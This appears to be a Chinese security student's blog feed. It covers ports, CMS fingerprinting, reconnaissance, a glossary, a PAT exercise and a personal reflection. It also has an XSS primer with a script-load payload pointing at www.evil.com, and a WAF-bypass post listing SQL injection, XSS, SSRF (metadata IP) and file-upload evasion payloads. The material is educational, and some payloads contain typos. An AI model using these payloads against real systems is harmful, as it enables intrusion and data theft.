    端口服务说明
    21FTPFTP 服务器所开放的端口,用于上传、下载
    22SSH22 端口就是 ssh 端口,用于通过命令行模式远程连接 Linux 系统服务器
    25SMTPSMTP 服务器所开放的端口,用于发送邮件
    80HTTP用于网站服务例如 IIS、Apache、Nginx 等提供对外访问
    110POP3110 端口是为 POP3(邮件协议 3)服务开放的
    137/138/139NETBIOS其中 137、138 是 UDP 端口,当通过网上邻居传输文件时用这个端口。而 139 端口:通过这个端口进入的连接试图获得 NetBIOS/SMB 服务。这个协议被用于 windows 文件和打印机共享和 SAMBA
    143IMAP143 端口主要是用于“Internet Message AccessProtocol”v2(Internet 消息访问协议,简称 IMAP),和 POP3 一样,是用于电子邮件的接收的协议
    443HTTPS网页浏览端口,能提供加密和通过安全端口传输的另一种 HTTP
    1433SQL Server1433 端口,是 SQL Server 默认的端口,SQL Server 服务使用两个端口:TCP-1433、UDP-1434。其中 1433 用于供 SQL Server 对外提供服务,1434 用于向请求者返回 SQL Server 使用了哪个 TCP/IP 端口
    3306MySQL3306 端口,是 MySQL 数据库的默认端口,用于 MySQL 对外提供服务
    3389Windows Server Remote Desktop Services3389 端口是 Windows 远程桌面的服务端口,可以通过这个端口,用 “远程桌面” 等连接工具来连接到远程的服务器
    8080代理端口8080 端口同 80 端口,是被用于 WWW 代理服务的,可以实现网页浏览,经常在访问某个网站或使用代理服务器的时候,会加上 “:8080” 端口号。另外 Apache Tomcat web server 安装后,默认的服务端口就是 8080
    ]]>
    + + + + + blog + + + + +
    + + + + + CMS指纹识别 + + /2021/03/05/CMS/ + + 1.什么是CMS

    内容管理系统(英语:content management system,缩写为 CMS)是指在一个合作模式下,用于管理工作流程的一套制度。该系统可应用于手工操作中,也可以应用到电脑或网络里。作为一种中央储存器(central repository),内容管理系统可将相关内容集中储存并具有群组管理、版本控制等功能。版本控制是内容管理系统的一个主要优势。

    内容管理系统在物品或文案或数据的存储、掌管、修订(盘存)、语用充实、文档发布等方面有着广泛的应用。现在流行的开源CMS系统有WordPress、Joomla!、Drupal、Xoops、CmsTop等。

    2.为什么要识别CMS

    在web渗透过程中,Web指纹识别是信息收集环节中一个比较重要的步骤,通过一些开源的工具、平台或者手工检测CMS系统是公开的CMS程序还是二次开发至关重要,能准确的获取CMS类型、Web服务组件类型及版本信息可以帮助安全工程师快速有效的去验证已知漏洞。对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。

    在指纹识别的学习过程中,有很多开源的工具和指纹库,如fofa、WhatWeb、w11scan、WebEye

    3.识别方式

    1. 网站特有文件

    如/templets/default/style/dedecms.css—dedecms

    1. 网站独有文件的md5

    如favicon.ico,但是该文件可以被修改导致不准确。

    1. 网站文件命名规则

    2. 返回头的关键字

    3. 网页关键字

    如/data/sessions/index.html——dedecms

    1. Url特征

    2. Meta特征

    3. Script特征

    4. robots.txt

    5. 网站路径特征

    6. 网站静态资源

    7. 爬虫网站目录信息

    相对比较准确,但是可能有反爬。

    1. 在线网站

    指纹实例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    {
    "url": "/install/",
    "re": "aspcms",
    "name": "AspCMS",
    "md5": ""
    },
    {
    "url": "/about/_notes/dwsync.xml",
    "re": "aspcms",
    "name": "AspCMS",
    "md5": ""
    },
    {
    "url": "/admin/_Style/_notes/dwsync.xml",
    "re": "aspcms",
    "name": "AspCMS",
    "md5": ""
    },
    {
    "url": "/apply/_notes/dwsync.xml",
    "re": "aspcms",
    "name": "AspCMS",
    "md5": ""
    },
    {
    "url": "/tpl/green/common/images/notebg.jpg",
    "re": "",
    "name": "自动发卡平台",
    "md5": "690f337298c331f217c0407cc11620e9"
    },
    {
    "url": "/images/download.png",
    "re": "",
    "name": "全程oa",
    "md5": "9921660baaf9e0b3b747266eb5af880f"
    },
    {
    "url": "/kindeditor/license.txt",
    "re": "",
    "name": "T-Site建站系统",
    "md5": "b0d181292c99cf9bb2ae9166dd3a0239"
    },
    {
    "url": "/public/ico/favicon.png",
    "re": "",
    "name": "悟空CRM",
    "md5": "834089ffa1cd3a27b920a335d7c067d7"
    },
    {
    "url": "/public/js/php/file_manager_json.php",
    "re": "",
    "name": "悟空CRM",
    "md5": "c64fd0278d72826eb9041773efa1f587"
    },
    {
    "url": "/plugins/weathermap/images/exclamation.png",
    "re": "",
    "name": "CactiEZ插件",
    "md5": "2e25cb083312b0eabfa378a89b07cd03"
    }

    4.指纹识别的对象

    1、CMS信息:比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等;

    2、前端技术:比如HTML5、jquery、bootstrap、pure、ace等;

    3、Web服务器:比如Apache、lighttpd, Nginx, IIS等;

    4、应用服务器:比如Tomcat、Jboss、weblogic、websphere等;

    5、开发语言:比如PHP、Java、Ruby、Python、C#等;

    6、操作系统信息:比如linux、win2k8、win7、kali、centos等;

    7、CDN信息:是否使用CDN,如cloudflare、360cdn、365cyd、yunjiasu等;

    8、WAF信息:是否使用waf,如Topsec、Jiasule、Yundun等;

    9、IP及域名信息:IP和域名注册信息、服务商信息等;

    10、端口信息:有些软件或平台还会探测服务器开放的常见端口。

    5.识别工具

    WhatWeb(推荐指数★★★★★)

    地址:https://github.com/urbanadventurer/WhatWeb

    此工具kali自带,使用方法:

    whatweb www.example.com 即可,也可以加参数-v显示更详细的信息。

    Wapplyzer(推荐指数★★★★)

    Wappalyzer可以识别网站上的技术,包括内容管理系统,电子商务平台,JavaScript框架,分析工具,打包工具等等。

    可以在谷歌商店直接下载扩展程序,使用很方便。

    image-20210306221521620

    6.在线识别网站

    1.http://whatweb.bugscaner.com/look/

    2.https://pentest.gdpcisa.org/whatcms

    3.https://www.yunsee.cn/(云悉指纹识别,强烈推荐)

    7.结语

    指纹识别是渗透测试信息收集中很重要的一部分,对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。很多安全小白学了很久,却依然挖不到洞,一方面是技术还不到位,另一方面是信息收集没做好。所以要明白信息收集的重要性

    ]]>
    + + + + + 渗透 + + + + +
    + + + + + 常见名词解释 + + /2021/03/04/%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A/ + +
  • A记录:指定主机名(或域名)对应的IP地址记录

  • cname:别名记录。这种记录允许您将多个名字映射到同一台计算机。

  • 谷歌语法

    • site:baidu.com life
    • filetype:pdf
    • intext:寻找正文中包含有关键字的网页。
    • intitle:寻找标题中包含有关键字的网页
    • inurl:返回url中含有关键词的网页
    • inurl:/admin/login.php(查找管理员登陆)
  • SRC:security response center(安全应急响应中心)

  • CMS:内容管理系统。例如:wordpress

  • CMS指纹识别:网站使用的开源程序源码系统,可以直接利用其漏洞

  • 提权:提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

  • XML:可扩展标记语言,XML并非是用来取代HTML的。HTML着重如何描述将文件显示在浏览器中,而XML与SGML相近,它着重描述如何将数据以结构化方式表示。

  • webshell:就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

  • 代码审计:顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

  • Redis:Key-Value数据库

  • 域名劫持:通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的IP地址从而实现用户无法访问目标网站的目的或者蓄意或恶意要求用户访问指定IP地址(网站)的目的。

  • 社工库:利用社会工程学攻击时积累的各方数据的数据库

  • 红队:红队(Red Team)即安全团队最大化模拟真实世界里面的入侵事件,采用入侵者的战术、技术、流程,以此来检验蓝队(Blue Team)的威胁检测和应急响应的机制和效率,最终帮助企业真正提高整个安全建设、安全运营、安全管理等能力。

  • 蓝队:(甲方)为公司的业务提供积极防御,构建企业安全架构等

  • 中间件是一类连接软件组件和应用的计算机软件,它包括一组服务。以便于运行在一台或多台机器上的多个软件通过网络进行交互。该技术所提供的互操作性,推动了一致分布式体系架构的演进,该架构通常用于支持并简化那些复杂的分布式应用程序,它包括web服务器、事务监控器和消息队列软件。 中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。

  • JSON:是一种轻量级的数据交换格式。采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

  • SEO:搜索引擎优化。是一种方式:利用搜索引擎的规则提高网站在有关搜索引擎内的排名。目的是让其在行业内占据领先地位,获得收益。

  • DevSecOps:是指先在应用程序开发的生命周期中引入安全性,从而尽可能地减少漏洞并使安全性更接近IT和业务目标。

  • DevOps:是一组过程、方法与系统的统称,用于促进开发(软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。

  • xpath:即为XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的计算机语言

  • cookie:Cookie是网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密)。因为HTTP本身是无状态协议,即服务器不知道用户上一次的请求的内容和次数,这严重阻碍了交互式Web应用程序的实现。在典型的网上购物场景中,用户浏览了几个页面,买了一盒饼干和两瓶饮料。最后结帐时,由于HTTP的无状态性,不通过额外的手段,服务器并不知道用户到底买了什么。 所以Cookie就是用来绕开HTTP的无状态性的“额外手段”之一。服务器可以设置或读取Cookie中包含信息,借此维护用户跟服务器会话中的状态。

  • 短网址(Short URL) ,顾名思义就是在形式上比较短的网址。通常用的是asp或者php转向,在Web 2.0的今天,不得不说,这是一个潮流。目前已经有许多类似服务,借助短网址您可以用简短的网址替代原来冗长的网址,让使用者可以更容易的分享链接。

  • shell:客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell

  • 客户端脚本:

    当客户端通过客户浏览器发送HTTP请求时,web服务器将HTML文档部分和脚本部分返回给客户端浏览器,在客户端浏览器中解释执行并及时更新页面,脚本处理工作全部在客户端浏览器执行完成。JavaScript一般是用在客户端(浏览器)上执行的脚本语言。

  • ]]>
    + + + + + blog + + + + +
    + + + + + 浅谈XSS漏洞 + + /2021/02/25/XSS/ + + XSS漏洞

    xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。

    漏洞原理

    xss就是攻击者在web页面插入恶意的Script代码,当用户浏览该页时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

    分类

    反射型XSS(非持久型)

    把用户输入的数据“反射”给浏览器(诱使用户点击恶意链接)

    将包含XSS代码的恶意链接发送给目标用户,当目标用户访问该链接时,服务器接受该目标用户的请求并处理,然后把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本,就会触发XSS漏洞。

    存储型XSS(持久型)

    把输入数据“存储”在服务器。有很强的稳定性。

    攻击者在发帖的过程中,将恶意脚本连同正常信息注入帖子内容,被服务器存储下来,恶意脚本也永久地被存放在服务器。其他用户浏览这个被注入了恶意脚本的帖子,恶意脚本就会在他们的浏览器中执行。

    DOM Based XSS(特殊类型的反射XSS)

    不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的(WAF无法防护)

    通过修改网页节点形成XSS。基于DOM文档对象模型的一种漏洞。

    DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。

    XSS的利用

    XSS不只是弹窗,弹窗只是测试XSS的存在性。

    payload:通过插入javascript代码,控制浏览器,完成各种具体功能.

    cookie劫持

    通过读取浏览器的cookie对象,攻击者可以不通过密码,直接登陆进入用户的账户.

    可以先加载一个远程脚本,例如:

    1
    http://www.a.com/test.htm/?abc="><script src=http://www.evil.com/evil.js></script>

    构造GET与POST请求

    XSS钓鱼

    为了窃取密码,利用javascript伪造一个登录框,用户输入之后,密码被发送到黑客的服务器上.

    XSS验证码绕过

    通过读取页面内容,将验证码的图片url发送到远程服务器,攻击者在远程服务器接受当前验证码,并将验证码的值返回给当前XSS payload,从而绕过验证码.

    识别用户的浏览器

    通过XSS读取浏览器的UserAgent对象.

    但UserAgent可以伪造,可以通过另一种方法,更准确的识别用户浏览器版本.

    分辨浏览器不同版本之间的差异,从而识别成功.

    识别用户安装的软件

    通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件.

    1
    2
    3
    4
    5
    6
    try{
    var Obj=new ActiveXObject('XunLeiBHO.ThunderIEhelper');
    }
    catch(e){
    //异常
    }

    收集常见软件的classid,扫描用户电脑中安装的软件列表.

    识别浏览器安装的插件和扩展

    判断用户是否访问某个网站

    style的visited属性,访问过的链接,颜色会变化.

    获取真实IP

    借助第三方软件,比如客户端安装了Java(JRE)环境,那么可以通过调用JavaApplet接口获取客户端本地IP

    蠕虫

    XSS蠕虫

    条件:用户之间发生交互行为的页面,如果存在存储型XSS,则容易发起XSS Worm攻击.

    XSS构造技巧

    常用测试语句

    1
    2
    3
    4
    5
    6
    7
    <script>alert(1)<script/>

    <img src=x oneorrer=alert(1)>

    <svg onload=alert(1)>

    <s herf=javascript:alert(1)>

    绕过方式

    • JS编码
    • HTML编码
    • URL编码
    • 长度绕过
    • 标签绕过(标签闭合,标签优先性)
    • window.name利用
    • Flash XSS
    • 利用Javascript开发框架漏洞
    • 利用浏览器差异
    • 关键字、函数

    防护方法

    • 过滤输入的数据,非法字符
    • 对数据进行编码转换
    • 添加HttpOnly
    • 输入合法性检查
    • 白名单过滤标签
    • DOM XSS防御
    ]]>
    + + + + + 漏洞 + + + + + + + web + + 漏洞 + + + +
    + + + + + PAT-1010 + + /2021/02/24/%E7%AE%97%E6%B3%95/ + +

    遇到一个看似简单,却很难得分的题目,记录一下。

    原题链接:PAT-Basic Level-1010

    题目(分值:25)

    设计函数求一元多项式的导数。$x^n$的导数为$n x^{n-1}$

    输入格式:

    以指数递降方式输入多项式非零项系数和指数(绝对值均为不超过 1000 的整数)。数字间以空格分隔。

    输出格式:

    以与输入相同的格式输出导数多项式非零项的系数和指数。数字间以空格分隔,但结尾不能有多余空格。注意“零多项式”的指数和系数都是 0,但是表示为 0 0

    输入样例:

    1
    3 4 -5 2 6 1 -2 0

    输出样例:

    1
    12 3 -10 1 6 0

    解答

    • “零多项式”,求导后仍为“零多项式”,此时输出为:0 0
    • 非“零多项式”,求导后变为”零多项式“,此时输出为:0 0
    • 非“零多项式”,求导后不为”零多项式“,此时正常输出求导后的系数和指数,但不输出0 0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    a=list(map(int,input().split()))
    res=[]
    length=len(a)

    for i in range(0,length,2):
    x=a[i]*a[i+1]
    y=a[i+1]-1
    if x:
    res.append(x)
    res.append(y)
    if not len(res):
    print("0 0")
    else:
    res=map(str,res)
    print(' '.join(res))
    ]]>
    + + + + + 算法 + + + + + + + python + + 算法 + + + +
    + + + + + 2021,要加油哇 + + /2021/02/23/%E6%84%9F%E6%82%9F/ + + 开博以来的第一篇感悟。时常回顾一下过去,看看来时的路,又不断为未来焦虑。回味和展望中,心酸后悔又期待无比。

    认识了很多大佬,“鱼皮”,“编程指北”,都是年龄相近,却又那么遥远的人。我在群里说“要是大一就认识鱼皮,就好了”。跟随前人走过的路,总比自己摸索要好一些吧。

    大学的课程即将上完,回首一看,发现自己和别人真的有很大的差距。洛佳在图书馆敲rust飞快,对面大佬夜晚1点练习口语,Cyrus在我这个年龄已经去大厂工作了。

    而我呢,步步艰难,如履薄冰,虽然能力一般,但还是向前走着。

    另外,也在纠结考研和就业的事情。其实也想多读几年书,在学校多呆几年,这么好的新校区,那么大的图书馆,那么好的单人间。可是,备考一年,读研三年,四年青春,为一个学位证值得吗?我不知道。但总会有人选择不同的路,走下去就好了。就像当时选文理一样,又有什么好纠结的呢。

    以前总是迷茫,不知道大学要干什么,学那么枯燥的东西有什么用。大一面试大创,学长学姐问我:未来打算读研吗?我说,读研是什么呢?保研是什么呢?真的不知道啊,只知道自己考上了一个别人眼中的好大学,沉浸在自我满足中,便开始享受大学生活。

    现在,也该为未来做出一些打算了吧。

    Cyrus,yd0ng,a2u13,很多前辈,都直接就业了。当然,他们都很优秀。

    时间紧迫,春招暑期实习也已经开始了。

    希望这学期能多做几个项目,多挖几个漏洞,多刷几个算法题,多看一些安全文章。

    2021,要加油哇。

    ]]>
    + + + + + 感悟 + + + + +
    + + + + + 渗透测试之信息收集 + + /2021/02/20/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/ + +

    所谓知彼知己,百战不殆。尽可能多的收集目标信息,渗透测试工作越容易。

    1.域名信息

    1. whois查询
    2. 备案查询

    2.子域名信息

    如果目标网络规模比较大,则主域都是重点防护区域,我们不妨先进入某个子域。

    1. 子域名检测工具

    2. 在线子域名爆破

    3. 搜索引擎

      image-20210221095020308

    4. 在线DNS侦察

    5. 证书透明度日志查询

    3.敏感信息收集

    使用谷歌搜索语法

    例如:site:edu.cn intext:后台管理

    image-20210221094604294

    4.端口信息

    常用端口扫描工具:

    • Nmap
    • Masscan
    • Zmap
    • 御剑高速扫描

    5.指纹识别

    image-20210221095526835

    CMS是Content Management System的缩写,意为”内容管理系统”。

    根据网站特征识别出CMS,查找相关漏洞。

    工具:御剑web指纹识别,WhatWeb,WebRobo.

    也可以使用在线网站查询CMS指纹信息.

    6.寻找真实IP

    CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

    第一步,判断目标网站是否使用CDN服务.

    img

    • 通过ping,查看域名解析情况
    • 全国多地ping服务,对比每个地区的结果是否一致,如果都是一样的,说明不存在CDN.

    第二步,绕过CDN寻找真实IP

    image-20210221100509778

    • 扫描网站测试文件
    • 子域名所在IP段
    • 国外访问
    • 查询域名解析记录
    • APP抓包

    7.收集敏感目录文件

    探测Web目录结构和隐藏的敏感文件.

    常用工具:

    • DirBuster
    • 御剑后台扫描
    • wwwscan
    • spinder
    • weakfilescan
    ]]>
    + + + + + 渗透 + + + + + + + web + + 渗透 + + + +
    + + + + + 网站技术栈识别工具-wappalyzer + + /2021/02/19/%E7%BD%91%E7%AB%99%E8%AF%86%E5%88%AB/ + + wappalyzer是一款优秀的网站技术栈识别工具,在谷歌商店的使用人数已经有上百万人。

    image-20210221103607443

    点击扩展程序图标,就可以自动识别。

    结果如下:

    Snipaste_2021-02-21_10-23-30

    ]]>
    + + + + + blog + + + + + + + web + + + +
    + + + + + Docker入门 + + /2021/02/16/Docker/ + + + + + + + blog + + + + + + + web + + + + + + + + + 红队和渗透测试 + + /2021/02/15/%E7%BA%A2%E9%98%9F/ + +

    一直会听说红队蓝队,却不知道真的概念,今天好好了解一下。

    先有攻,后有防

    永远记得,安全是先有攻后有防,这个世界上先有黑帽子,然后才有人给白帽子发工资。所以可以毫不客气的说,黑帽子是网安界的基石(注意:这不是在鼓励你去做黑帽子)。黑帽子是先驱,白帽子是追随者。

    所以你需要做的,是代入黑帽子的思维:这个世界上什么资产最多?web应用?手机app?端应用?(再细化一些:struct2?wordpress?rdp?smb?bt? etc.),这些资产的漏洞的发现/利用难度和利用后的获利相比,哪个性价比最高?毫无疑问,性价比高的领域,就是黑帽子最集中的领域,也就是白帽子们投入最大精力的领域(因为雇主们最舍得在这上面掏钱),你应该研究这个,而不是走到一些很生僻,很小众的细分领域,否则未来有失业风险,毕竟即使是小众领域,以一个人的精力也是学不完的,所以别想着什么双修,什么全领域制霸。

    红队

    红队(Red Team)即安全团队最大化模拟真实世界里面的入侵事件,采用入侵者的战术、技术、流程,以此来检验蓝队(Blue Team)的威胁检测和应急响应的机制和效率,最终帮助企业真正提高整个安全建设、安全运营、安全管理等能力。

    红队和渗透测试的区别:

    渗透红队
    测试范围范围有限范围广,有组织计划
    攻击程度点到为止真实猛烈
    目的寻找目标系统不足寻找系统不足,管理不足,提高企业安全建设能力
    ]]>
    + + + + + 安全 + + + + + + + web + + 渗透 + + + +
    + + + + + WAF bypass技巧 + + /2021/02/10/WAF/ + +

    WAF : Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    1.1 寻找真实IP

    e7d9f2da-0fac-432b-bf65-bc3b66afa3d3
    • 域名历史解析记录
    • 内部邮箱源
    • 扫描网站测试文件
    • 子域名所在IP段
    • 信息泄露
    • 国外访问
    • APP抓包

    1.2 注入绕过

    绕过方式例子说明
    大小写绕过UniOn SeleCt针对特定关键字,大小写不敏感,SQL语句不分大小写
    双写绕过Ununionion seselectlect过滤后仍是注入语句(只过滤了一次)
    内联注释绕过and /****!***select * from test*/mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行
    注释符绕过uni/*/on se/*/lect注释符号不影响语句的连接
    对or/and的绕过and = &&,or = ||等价逻辑符号
    对单引号的绕过十六进制编码 宽字节注入 http://www.xxx.com/login.php?user=%df****’ or 1=1  %df****’转义后为=%df%5c%27=運’  select * fromcms_user where username = ‘運’ or 1=1数值型可以不加单引号 将转义符号闭合掉 mysql使用GBK多字节编码,GPC开启(php.ini,magic_quotes_gpc = On),输入%df%27时首先经过上面提到的转义就会变成%df%5c%27(%5c就是反斜杠)。之后再数据库查询由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字,然后MySQL服务器会对查询语句进行了GBK编码%df%5c转换成汉字,而单引号逃出了
    等价函数替换hex() bin() 等价于ascii() Sleep() 等价于benchmark()函数结果相同
    空格绕过select/*/*/*/from/**/yz; select%0a*%0afrom%0ayz; %0a 是回车 select(a)from(yz);使用其他字符替换空格

    1.3 XSS绕过

    反射型:

    1

    存储型:

    3
    绕过方式例子说明
    标签闭合,可控为aaa的值,那么可以使用 “> 闭合来绕过,利用”> 等标签来闭合前面标签来达到绕过插入任意JS的效果
    标签优先性利用标签解析的优先性绕过。 比如会优先闭合,导致标签逃逸,从而造成xss执行
    常见编码a aa> <svg/onload=setTimeout(‘\x61\x6C\x65\x72\x74\x28\x31\x29’)>利用常见的一些编码方式去绕过。比如利用 : 当成 冒号: 来绕过,( 和 ) 等效与左右括号 () 可控点在Json中时可使用Unicode编码绕过,在url中可用使用url双重编码等绕过 %0a 为换行的URL编码,可以用来绕过一些Waf,从而执行后面的alert,类似于 Mysql中的%0a换行 利用各种类型的进制转换也可以用来绕过xss防御
    浏览器差异Test 比如 .url 后缀文件也可用造成xss 比如利用IE浏览器中也有一些特性或者函数 比如标签在Firfox浏览器可以解析并造成XSS漏洞,可以用来绕过黑名单等 .url 后缀文件在Firfox浏览器中也会解析成htm文件,也会造成xss 比如利用IE浏览器中一些独特函数来执行xss
    关键字、函数绕过 利用JS的特性,以拼接的方式来组合关键字,从而绕过waf的关键字检测 加入一些特殊字符也可以绕过waf对关键函数的检测
    FuzzJSFuck可以利用Fuzz来发现一些黑名单中未包含到的标签、事件、关键函数

    1.4 SSRF绕过

    绕过方式例子原理
    进制转换十进制 http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 http://2852039166/ = http://169.254.169.254 十六进制 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20利用十进制、十六进制形式的ip绕过检测,十进制、十六进制的ip在请求时会正常解析,但检测时可能遗漏
    特殊ip形式http://[::]:80/=127.0.0.1 http://127.127.127.127 127.0.0.1.xip.io 127。0。0。1 = 127.0.0.1 http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com http://[0:0:0:0:0:ffff:127.0.0.1]利用 [::]、CIDR (ip划分方法)绕过localhost限制 利用封闭式字母数字绕过检测 利用ipv6绕过检测
    正则缺陷http://127.1.1.1:80****\@127.2.2.2:80/ http://127.1.1.1:80:@@127.2.2.2:80/ **http://127.1.1.1:80#****\@127.2.2.2:80/** http://endswith{domain}/ **http://{domain}.**localhost利用检测正则表达式缺陷绕过,如仅检测字符串是否包含白名单域名或以白名单域名结尾,或者正则未转义点号导致绕过等
    解析库与请求库差异导致绕过http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3利用检测时使用的URL parse库与请求时使用的parse库的差异绕过,如 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ 不同的parse库的解析结果不一样
    302跳转绕过Create a page on a whitelisted host that redirects requests to the SSRF the target URL利用可信域名的302跳转绕过检测
    dnsrebind绕过Create a domain that change between two IPs设置两条A记录利用dns重绑定绕过检测,第一次解析返回正常ip,第二次返回内网地址(dns解析记录缓存存活的时间为0,相当于每次解析都要去重新请求dns服务器,无法在本地缓存)

    1.5 上传绕过

    f31e7508-93be-4fcf-a9aa-7f0316e5c1f8

    绕过方法例子原理
    js检查绕过前端通过抓包提交,绕过前端js检测 删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过
    上传特殊可解析后缀jsp jspx jspf asp asa cer aspx php php3 php4 pht phtml绕过黑名单,同样可以执行脚本
    上传.htaccess<FilesMatch “bytedance”> SetHandler application/x-httpd-php htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 通过.htaccess文件,调用php的解析器解析一个文件名只要包含“bytedance”这个字符串的任意文件
    后缀大小写绕过1.php ==> 1.pHP由于windows不区分大小写,后端校验未使用strtolower等函数将文件后缀大小写统一处理,导致黑名单不完整而绕过
    空格绕过1.php ==> 1.php(空格)由于Windows处理文件时,会自动删除文件后缀带有的空格和点,从而导致绕过
    ::DATA绕过1.php::$DATA==>1.phpWindows的一种流文件格式,上传这种格式流文件格式的同时会在相同目录下生成一个含有相同内容宿主文件
    双写后缀绕过1.phphpp ==> 1.php后端过滤时,使用了preg_replace等替换函数将php关键字替换为空,但是却没有循环替换,导致前面的ph和后面的p重新组合成php,从而导致绕过
    MIME绕过GIF image/gif JPG image/pjpeg image/jpeg ZIP application/x-compressed application/octet-stream JSP text/html EXE application/octet-stream修改Content-Type中为允许的类型
    %00截断1.php%00a.jpg=1.phpPHP<5.3.29,且GPC关闭时,%00在URL中充当结束符,当解析到%00时,解析器就会认为字符串已经读取完毕(%00截断主要用在路径上的截断)
    0x00截断1.php.jpg==>1.php0x00jpg(0x00为16进制)PHP<5.3.29,且GPC关闭时,0x00截断其实也是16进制截断,需要修改16进制的数据头,0x00也是截断符号,0x00就是%00解码成的16进制,原理其实与%00截断一样
    文件头检查绕过GIF89a或在图片中插入一句话检查指定文件头时可绕过
    二次渲染绕过寻找图片渲染后没有变化的部分,插入一句话恶意脚本不被渲染掉
    条件竞争与后端代码写法有关。比如先上传文件后,再检查文件后缀是否合法,不合法就再删除。利用条件竞争删除文件时间差绕过。在文件上传到服务器,程序还未执行到删除文件代码之前,通过快速发送大量的数据包提前执行程序,达到绕过
    解析漏洞绕过参考解析漏洞表格参考解析漏洞表格

    1.6 其他方法

    1.HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。

    2.当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。

    ]]>
    + + + + + 安全 + + + + + + + web + + + +
    + + + + + 记录前端学习--JavaScript + + /2021/02/09/%E5%89%8D%E7%AB%AFJS/ + + + + + + + 前端 + + + + + + + web + + 前端 + + + + + + + + + Shell学习记录 + + /2021/02/08/Shell/ + + shell:shell是外壳的意思,就是操作系统的外壳。我们可以通过shell命令来操作和控制操作系统,比如Linux中的Shell命令就包括ls、cd、pwd等等。总结来说,Shell是一个命令解释器,它通过接受用户输入的Shell命令来启动、暂停、停止程序的运行或对计算机进行控制。

    shell 是一个应用程序,它连接了用户和 Linux 内核,让用户能够更加高效、安全、低成本地使用 Linux 内核,这就是 Shell 的本质。

    shell 本身并不是内核的一部分,它只是站在内核的基础上编写的一个应用程序。

    “linux shell”的图片搜索结果

    shell脚本:shell脚本就是由Shell命令组成的执行文件,将一些命令整合到一个文件中,进行处理业务逻辑,脚本不用编译即可运行。

    进入 Linux 终端,编写一个 Shell 脚本 hello.sh :

    1
    2
    #!/bin/bash 
    echo 'hello world!'

    运行:

    1
    2
    3
    4
    5
    6
    # 方法1 
    sh hello.sh

    # 方法2
    chmod +x hello.sh
